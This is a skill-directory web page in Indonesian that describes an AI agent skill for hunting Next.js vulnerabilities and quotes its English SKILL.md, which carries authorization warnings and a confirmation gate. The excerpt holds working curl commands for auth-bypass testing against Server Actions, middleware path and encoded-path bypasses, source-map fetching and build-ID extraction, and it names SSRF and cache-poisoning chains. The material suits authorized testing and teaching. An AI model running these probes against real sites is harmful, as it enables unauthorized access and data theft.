Langsung ke konten
Skillpedia
Website & UI (frontend)48k Β· #4888

hunt-nextjs

Fungsinya

Tool ini membantu menemukan celah keamanan tertentu pada website yang dibangun dengan Next.js, sebuah framework pengembangan web yang populer. Tool ini mencari kerentanan yang bisa memberi akses atau kendali tidak sah atas server.

Kapan dipakai

  • βœ“Saat menguji keamanan website Next.js.
  • βœ“Untuk memeriksa apakah website Next.js terlindungi dari serangan yang sudah dikenal.
  • βœ“Dalam penilaian keamanan resmi terhadap aplikasi Next.js.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œPindai example.com untuk mencari celah keamanan”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool ini menganalisis kode dan respons website untuk mengenali pola yang menunjukkan adanya kelemahan. Tool ini mencoba mengakses area yang dilindungi atau menjalankan perintah yang seharusnya tidak bisa dilakukan.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NEXTJS β€” Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

  • Server Actions auth bypass β€” Server Actions enforce auth client-side only β†’ call action ID directly β†’ unauthorized data mutation or exfil
  • Middleware bypass via /_next/static/ β€” middleware skips static asset paths β†’ protected routes accessible via /_next/data/ IDOR
  • /_next/image SSRF β€” Image optimizer fetches attacker-controlled URL β†’ internal network scan or cloud metadata
  • ISR stale cache poisoning β€” inject malicious content into a cached page that gets served to all users
  • RSC payload leakage β€” React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer β€” SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data β€” IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles β€” source map candidate
/api/                            API routes β€” standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 β€” Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 β€” Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state β†’ auth enforcement is client-side only

Phase 3 β€” Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# β†’ 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) β€” middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest β€” bypassing auth/redirect middleware on gated routes.


…
Pertanyaan umum

Apa itu Next.js?

Next.js adalah framework populer untuk membangun website dan aplikasi web, yang dikenal karena efisiensi dan fitur-fitur canggihnya.

Apa itu kerentanan (vulnerabilities)?

Kerentanan adalah celah keamanan pada sebuah sistem yang bisa dimanfaatkan penyerang untuk mendapatkan akses tidak sah, mencuri informasi, atau menimbulkan kerusakan.

Apakah saya perlu izin untuk menggunakan tool ini?

Ya, Anda memerlukan izin tertulis yang jelas dari pemilik sistem sebelum menggunakan tool ini, karena tool ini hanya ditujukan untuk tujuan edukasi atau penilaian keamanan yang resmi.

Detail

Deskripsi asli dari pembuat

Hunt Next.js specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4888
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa